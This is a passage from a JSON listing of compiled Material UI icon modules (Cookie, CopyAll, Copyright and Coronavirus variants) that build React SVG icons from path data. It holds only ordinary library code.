10.99c-1.79-.03-3.7-1.95-2.68-4.22-2.97 1-5.78-1.59-5.19-4.56C7.1.74 2 6.41 2 12c0 5.52 4.48 10 10 10 5.89 0 10.54-5.08 9.95-11.01M12 20c-4.41 0-8-3.59-8-8 0-3.31 2.73-8.18 8.08-8.02.42 2.54 2.44 4.56 4.99 4.94.07.36.52 2.55 2.92 3.63C19.7 16.86 16.06 20 12 20\"\n}, \"4\")], 'CookieTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CookieTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.07 8.93c-2.55-.39-4.57-2.41-4.99-4.94C6.73 3.82 4 8.69 4 12c0 4.41 3.59 8 8 8 4.06 0 7.7-3.14 7.98-7.45-2.39-1.07-2.84-3.26-2.91-3.62M8.5 15c-.83 0-1.5-.67-1.5-1.5S7.67 12 8.5 12s1.5.67 1.5 1.5S9.33 15 8.5 15m2-5C9.67 10 9 9.33 9 8.5S9.67 7 10.5 7s1.5.67 1.5 1.5-.67 1.5-1.5 1.5m4.5 6c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10.5\",\n  cy: \"8.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"8.5\",\n  cy: \"13.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"15\",\n  r: \"1\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.95 10.99c-1.79-.03-3.7-1.95-2.68-4.22-2.97 1-5.78-1.59-5.19-4.56C7.1.74 2 6.41 2 12c0 5.52 4.48 10 10 10 5.89 0 10.54-5.08 9.95-11.01M12 20c-4.41 0-8-3.59-8-8 0-3.31 2.73-8.18 8.08-8.02.42 2.54 2.44 4.56 4.99 4.94.07.36.52 2.55 2.92 3.63C19.7 16.86 16.06 20 12 20\"\n}, \"4\")], 'CookieTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CopyAll.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 2H9c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h9c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H9V4h9zM3 15v-2h2v2zm0-5.5h2v2H3zM10 20h2v2h-2zm-7-1.5v-2h2v2zM5 22c-1.1 0-2-.9-2-2h2zm3.5 0h-2v-2h2zm5 0v-2h2c0 1.1-.9 2-2 2M5 6v2H3c0-1.1.9-2 2-2\"\n}), 'CopyAll');"
  },
  {
    "path": "packages/mui-icons-material/lib/CopyAll.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 2H9c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h9c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H9V4h9zM3 15v-2h2v2zm0-5.5h2v2H3zM10 20h2v2h-2zm-7-1.5v-2h2v2zM5 22c-1.1 0-2-.9-2-2h2zm3.5 0h-2v-2h2zm5 0v-2h2c0 1.1-.9 2-2 2M5 6v2H3c0-1.1.9-2 2-2\"\n}), 'CopyAll');"
  },
  {
    "path": "packages/mui-icons-material/lib/CopyAllOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 2H9c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h9c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H9V4h9zM3 15v-2h2v2zm0-5.5h2v2H3zM10 20h2v2h-2zm-7-1.5v-2h2v2zM5 22c-1.1 0-2-.9-2-2h2zm3.5 0h-2v-2h2zm5 0v-2h2c0 1.1-.9 2-2 2M5 6v2H3c0-1.1.9-2 2-2\"\n}), 'CopyAllOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CopyAllOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 2H9c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h9c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H9V4h9zM3 15v-2h2v2zm0-5.5h2v2H3zM10 20h2v2h-2zm-7-1.5v-2h2v2zM5 22c-1.1 0-2-.9-2-2h2zm3.5 0h-2v-2h2zm5 0v-2h2c0 1.1-.9 2-2 2M5 6v2H3c0-1.1.9-2 2-2\"\n}), 'CopyAllOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CopyAllRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 2H9c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h9c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H9V4h9zM3 15v-2h2v2zm0-5.5h2v2H3zM10 20h2v2h-2zm-7-1.5v-2h2v2zM5 22c-1.1 0-2-.9-2-2h2zm3.5 0h-2v-2h2zm5 0v-2h2c0 1.1-.9 2-2 2M5 6v2H3c0-1.1.9-2 2-2\"\n}), 'CopyAllRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CopyAllRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 2H9c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h9c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H9V4h9zM3 15v-2h2v2zm0-5.5h2v2H3zM10 20h2v2h-2zm-7-1.5v-2h2v2zM5 22c-1.1 0-2-.9-2-2h2zm3.5 0h-2v-2h2zm5 0v-2h2c0 1.1-.9 2-2 2M5 6v2H3c0-1.1.9-2 2-2\"\n}), 'CopyAllRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CopyAllSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2H7v16h13zm-2 14H9V4h9zM3 15v-2h2v2zm0-5.5h2v2H3zM10 20h2v2h-2zm-7-1.5v-2h2v2zM5 22H3v-2h2zm3.5 0h-2v-2h2zm7 0h-2v-2h2zM3 6h2v2H3z\"\n}), 'CopyAllSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CopyAllSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2H7v16h13zm-2 14H9V4h9zM3 15v-2h2v2zm0-5.5h2v2H3zM10 20h2v2h-2zm-7-1.5v-2h2v2zM5 22H3v-2h2zm3.5 0h-2v-2h2zm7 0h-2v-2h2zM3 6h2v2H3z\"\n}), 'CopyAllSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CopyAllTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 4h9v12H9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 2H9c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h9c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H9V4h9zM3 15v-2h2v2zm0-5.5h2v2H3zM10 20h2v2h-2zm-7-1.5v-2h2v2zM5 22c-1.1 0-2-.9-2-2h2zm3.5 0h-2v-2h2zm5 0v-2h2c0 1.1-.9 2-2 2M5 6v2H3c0-1.1.9-2 2-2\"\n}, \"1\")], 'CopyAllTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CopyAllTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 4h9v12H9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 2H9c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h9c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m0 14H9V4h9zM3 15v-2h2v2zm0-5.5h2v2H3zM10 20h2v2h-2zm-7-1.5v-2h2v2zM5 22c-1.1 0-2-.9-2-2h2zm3.5 0h-2v-2h2zm5 0v-2h2c0 1.1-.9 2-2 2M5 6v2H3c0-1.1.9-2 2-2\"\n}, \"1\")], 'CopyAllTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Copyright.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.88 9.14c1.28.06 1.61 1.15 1.63 1.66h1.79c-.08-1.98-1.49-3.19-3.45-3.19C9.64 7.61 8 9 8 12.14c0 1.94.93 4.24 3.84 4.24 2.22 0 3.41-1.65 3.44-2.95h-1.79c-.03.59-.45 1.38-1.63 1.44-1.31-.04-1.86-1.06-1.86-2.73 0-2.89 1.28-2.98 1.88-3M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'Copyright');"
  },
  {
    "path": "packages/mui-icons-material/lib/Copyright.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.88 9.14c1.28.06 1.61 1.15 1.63 1.66h1.79c-.08-1.98-1.49-3.19-3.45-3.19C9.64 7.61 8 9 8 12.14c0 1.94.93 4.24 3.84 4.24 2.22 0 3.41-1.65 3.44-2.95h-1.79c-.03.59-.45 1.38-1.63 1.44-1.31-.04-1.86-1.06-1.86-2.73 0-2.89 1.28-2.98 1.88-3M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'Copyright');"
  },
  {
    "path": "packages/mui-icons-material/lib/CopyrightOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.08 10.86c.05-.33.16-.62.3-.87s.34-.46.59-.62c.24-.15.54-.22.91-.23.23.01.44.05.63.13.2.09.38.21.52.36s.25.33.34.53.13.42.14.64h1.79c-.02-.47-.11-.9-.28-1.29s-.4-.73-.7-1.01-.66-.5-1.08-.66-.88-.23-1.39-.23c-.65 0-1.22.11-1.7.34s-.88.53-1.2.92-.56.84-.71 1.36S8 11.29 8 11.87v.27c0 .58.08 1.12.23 1.64s.39.97.71 1.35.72.69 1.2.91 1.05.34 1.7.34c.47 0 .91-.08 1.32-.23s.77-.36 1.08-.63.56-.58.74-.94.29-.74.3-1.15h-1.79c-.01.21-.06.4-.15.58s-.21.33-.36.46-.32.23-.52.3c-.19.07-.39.09-.6.1-.36-.01-.66-.08-.89-.23-.25-.16-.45-.37-.59-.62s-.25-.55-.3-.88-.08-.67-.08-1v-.27c0-.35.03-.68.08-1.01M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'CopyrightOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CopyrightOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.08 10.86c.05-.33.16-.62.3-.87s.34-.46.59-.62c.24-.15.54-.22.91-.23.23.01.44.05.63.13.2.09.38.21.52.36s.25.33.34.53.13.42.14.64h1.79c-.02-.47-.11-.9-.28-1.29s-.4-.73-.7-1.01-.66-.5-1.08-.66-.88-.23-1.39-.23c-.65 0-1.22.11-1.7.34s-.88.53-1.2.92-.56.84-.71 1.36S8 11.29 8 11.87v.27c0 .58.08 1.12.23 1.64s.39.97.71 1.35.72.69 1.2.91 1.05.34 1.7.34c.47 0 .91-.08 1.32-.23s.77-.36 1.08-.63.56-.58.74-.94.29-.74.3-1.15h-1.79c-.01.21-.06.4-.15.58s-.21.33-.36.46-.32.23-.52.3c-.19.07-.39.09-.6.1-.36-.01-.66-.08-.89-.23-.25-.16-.45-.37-.59-.62s-.25-.55-.3-.88-.08-.67-.08-1v-.27c0-.35.03-.68.08-1.01M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'CopyrightOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CopyrightRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.08 10.86c.05-.33.16-.62.3-.87s.34-.46.59-.62c.24-.15.54-.22.91-.23.23.01.44.05.63.13.2.09.38.21.52.36s.25.33.34.53.13.42.14.64h1.79c-.02-.47-.11-.9-.28-1.29s-.4-.73-.7-1.01-.66-.5-1.08-.66-.88-.23-1.39-.23c-.65 0-1.22.11-1.7.34s-.88.53-1.2.92-.56.84-.71 1.36S8 11.29 8 11.87v.27c0 .58.08 1.12.23 1.64s.39.97.71 1.35.72.69 1.2.91 1.05.34 1.7.34c.47 0 .91-.08 1.32-.23s.77-.36 1.08-.63.56-.58.74-.94.29-.74.3-1.15h-1.79c-.01.21-.06.4-.15.58s-.21.33-.36.46-.32.23-.52.3c-.19.07-.39.09-.6.1-.36-.01-.66-.08-.89-.23-.25-.16-.45-.37-.59-.62s-.25-.55-.3-.88-.08-.67-.08-1v-.27c0-.35.03-.68.08-1.01M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'CopyrightRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CopyrightRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.08 10.86c.05-.33.16-.62.3-.87s.34-.46.59-.62c.24-.15.54-.22.91-.23.23.01.44.05.63.13.2.09.38.21.52.36s.25.33.34.53.13.42.14.64h1.79c-.02-.47-.11-.9-.28-1.29s-.4-.73-.7-1.01-.66-.5-1.08-.66-.88-.23-1.39-.23c-.65 0-1.22.11-1.7.34s-.88.53-1.2.92-.56.84-.71 1.36S8 11.29 8 11.87v.27c0 .58.08 1.12.23 1.64s.39.97.71 1.35.72.69 1.2.91 1.05.34 1.7.34c.47 0 .91-.08 1.32-.23s.77-.36 1.08-.63.56-.58.74-.94.29-.74.3-1.15h-1.79c-.01.21-.06.4-.15.58s-.21.33-.36.46-.32.23-.52.3c-.19.07-.39.09-.6.1-.36-.01-.66-.08-.89-.23-.25-.16-.45-.37-.59-.62s-.25-.55-.3-.88-.08-.67-.08-1v-.27c0-.35.03-.68.08-1.01M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'CopyrightRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CopyrightSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.08 10.86c.05-.33.16-.62.3-.87s.34-.46.59-.62c.24-.15.54-.22.91-.23.23.01.44.05.63.13.2.09.38.21.52.36s.25.33.34.53.13.42.14.64h1.79c-.02-.47-.11-.9-.28-1.29s-.4-.73-.7-1.01-.66-.5-1.08-.66-.88-.23-1.39-.23c-.65 0-1.22.11-1.7.34s-.88.53-1.2.92-.56.84-.71 1.36S8 11.29 8 11.87v.27c0 .58.08 1.12.23 1.64s.39.97.71 1.35.72.69 1.2.91 1.05.34 1.7.34c.47 0 .91-.08 1.32-.23s.77-.36 1.08-.63.56-.58.74-.94.29-.74.3-1.15h-1.79c-.01.21-.06.4-.15.58s-.21.33-.36.46-.32.23-.52.3c-.19.07-.39.09-.6.1-.36-.01-.66-.08-.89-.23-.25-.16-.45-.37-.59-.62s-.25-.55-.3-.88-.08-.67-.08-1v-.27c0-.35.03-.68.08-1.01M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'CopyrightSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CopyrightSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.08 10.86c.05-.33.16-.62.3-.87s.34-.46.59-.62c.24-.15.54-.22.91-.23.23.01.44.05.63.13.2.09.38.21.52.36s.25.33.34.53.13.42.14.64h1.79c-.02-.47-.11-.9-.28-1.29s-.4-.73-.7-1.01-.66-.5-1.08-.66-.88-.23-1.39-.23c-.65 0-1.22.11-1.7.34s-.88.53-1.2.92-.56.84-.71 1.36S8 11.29 8 11.87v.27c0 .58.08 1.12.23 1.64s.39.97.71 1.35.72.69 1.2.91 1.05.34 1.7.34c.47 0 .91-.08 1.32-.23s.77-.36 1.08-.63.56-.58.74-.94.29-.74.3-1.15h-1.79c-.01.21-.06.4-.15.58s-.21.33-.36.46-.32.23-.52.3c-.19.07-.39.09-.6.1-.36-.01-.66-.08-.89-.23-.25-.16-.45-.37-.59-.62s-.25-.55-.3-.88-.08-.67-.08-1v-.27c0-.35.03-.68.08-1.01M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}), 'CopyrightSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CopyrightTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8m-1.92 9.14c.05.33.16.63.3.88s.34.46.59.62c.23.15.53.22.89.23.21-.01.41-.03.6-.1.2-.07.37-.17.52-.3s.27-.28.36-.46.14-.37.15-.58h1.79c-.01.41-.12.79-.3 1.15s-.43.67-.74.94q-.465.405-1.08.63c-.41.15-.85.23-1.32.23-.65 0-1.22-.12-1.7-.34s-.88-.53-1.2-.91-.56-.83-.71-1.35S8 12.72 8 12.14v-.27c0-.58.09-1.12.24-1.64s.39-.97.71-1.36.72-.69 1.2-.92 1.05-.34 1.7-.34c.51 0 .97.07 1.39.23q.63.24 1.08.66c.3.28.53.62.7 1.01s.26.82.28 1.29h-1.79c-.01-.22-.05-.44-.14-.64s-.2-.38-.34-.53-.32-.27-.52-.36c-.19-.08-.4-.12-.63-.13-.37.01-.67.08-.91.23-.25.16-.45.37-.59.62s-.25.54-.3.87-.08.66-.08 1.01v.27c0 .33.03.67.08 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.08 10.86c.05-.33.16-.62.3-.87s.34-.46.59-.62c.24-.15.54-.22.91-.23.23.01.44.05.63.13.2.09.38.21.52.36s.25.33.34.53.13.42.14.64h1.79c-.02-.47-.11-.9-.28-1.29s-.4-.73-.7-1.01q-.45-.42-1.08-.66c-.42-.16-.88-.23-1.39-.23-.65 0-1.22.11-1.7.34s-.88.53-1.2.92-.56.84-.71 1.36S8 11.29 8 11.87v.27c0 .58.08 1.12.23 1.64s.39.97.71 1.35.72.69 1.2.91 1.05.34 1.7.34c.47 0 .91-.08 1.32-.23q.615-.225 1.08-.63c.31-.27.56-.58.74-.94s.29-.74.3-1.15h-1.79c-.01.21-.06.4-.15.58s-.21.33-.36.46-.32.23-.52.3c-.19.07-.39.09-.6.1-.36-.01-.66-.08-.89-.23-.25-.16-.45-.37-.59-.62s-.25-.55-.3-.88-.08-.67-.08-1v-.27c0-.35.03-.68.08-1.01M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}, \"1\")], 'CopyrightTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CopyrightTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4c-4.41 0-8 3.59-8 8s3.59 8 8 8 8-3.59 8-8-3.59-8-8-8m-1.92 9.14c.05.33.16.63.3.88s.34.46.59.62c.23.15.53.22.89.23.21-.01.41-.03.6-.1.2-.07.37-.17.52-.3s.27-.28.36-.46.14-.37.15-.58h1.79c-.01.41-.12.79-.3 1.15s-.43.67-.74.94q-.465.405-1.08.63c-.41.15-.85.23-1.32.23-.65 0-1.22-.12-1.7-.34s-.88-.53-1.2-.91-.56-.83-.71-1.35S8 12.72 8 12.14v-.27c0-.58.09-1.12.24-1.64s.39-.97.71-1.36.72-.69 1.2-.92 1.05-.34 1.7-.34c.51 0 .97.07 1.39.23q.63.24 1.08.66c.3.28.53.62.7 1.01s.26.82.28 1.29h-1.79c-.01-.22-.05-.44-.14-.64s-.2-.38-.34-.53-.32-.27-.52-.36c-.19-.08-.4-.12-.63-.13-.37.01-.67.08-.91.23-.25.16-.45.37-.59.62s-.25.54-.3.87-.08.66-.08 1.01v.27c0 .33.03.67.08 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.08 10.86c.05-.33.16-.62.3-.87s.34-.46.59-.62c.24-.15.54-.22.91-.23.23.01.44.05.63.13.2.09.38.21.52.36s.25.33.34.53.13.42.14.64h1.79c-.02-.47-.11-.9-.28-1.29s-.4-.73-.7-1.01q-.45-.42-1.08-.66c-.42-.16-.88-.23-1.39-.23-.65 0-1.22.11-1.7.34s-.88.53-1.2.92-.56.84-.71 1.36S8 11.29 8 11.87v.27c0 .58.08 1.12.23 1.64s.39.97.71 1.35.72.69 1.2.91 1.05.34 1.7.34c.47 0 .91-.08 1.32-.23q.615-.225 1.08-.63c.31-.27.56-.58.74-.94s.29-.74.3-1.15h-1.79c-.01.21-.06.4-.15.58s-.21.33-.36.46-.32.23-.52.3c-.19.07-.39.09-.6.1-.36-.01-.66-.08-.89-.23-.25-.16-.45-.37-.59-.62s-.25-.55-.3-.88-.08-.67-.08-1v-.27c0-.35.03-.68.08-1.01M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8\"\n}, \"1\")], 'CopyrightTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Coronavirus.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.25 10.5c-.41 0-.75.34-.75.75h-1.54c-.15-1.37-.69-2.63-1.52-3.65l1.09-1.09.01.01c.29.29.77.29 1.06 0s.29-.77 0-1.06L18.54 4.4c-.29-.29-.77-.29-1.06 0s-.29.76-.01 1.05l-1.09 1.09a7.015 7.015 0 0 0-3.64-1.51V3.5h.01c.41 0 .75-.34.75-.75S13.16 2 12.75 2h-1.5c-.41 0-.75.34-.75.75s.33.74.74.75v1.55c-1.37.14-2.62.69-3.64 1.51L6.51 5.47l.01-.01c.29-.29.29-.77 0-1.06s-.77-.29-1.06 0L4.4 5.46c-.29.29-.29.77 0 1.06s.76.29 1.05.01l1.09 1.09c-.82 1.02-1.36 2.26-1.5 3.63H3.5c0-.41-.34-.75-.75-.75s-.75.34-.75.75v1.5c0 .41.34.75.75.75s.75-.34.75-.75h1.54c.15 1.37.69 2.61 1.5 3.63l-1.09 1.09c-.29-.29-.76-.28-1.05.01s-.29.77 0 1.06l1.06 1.06c.29.29.77.29 1.06 0s.29-.77 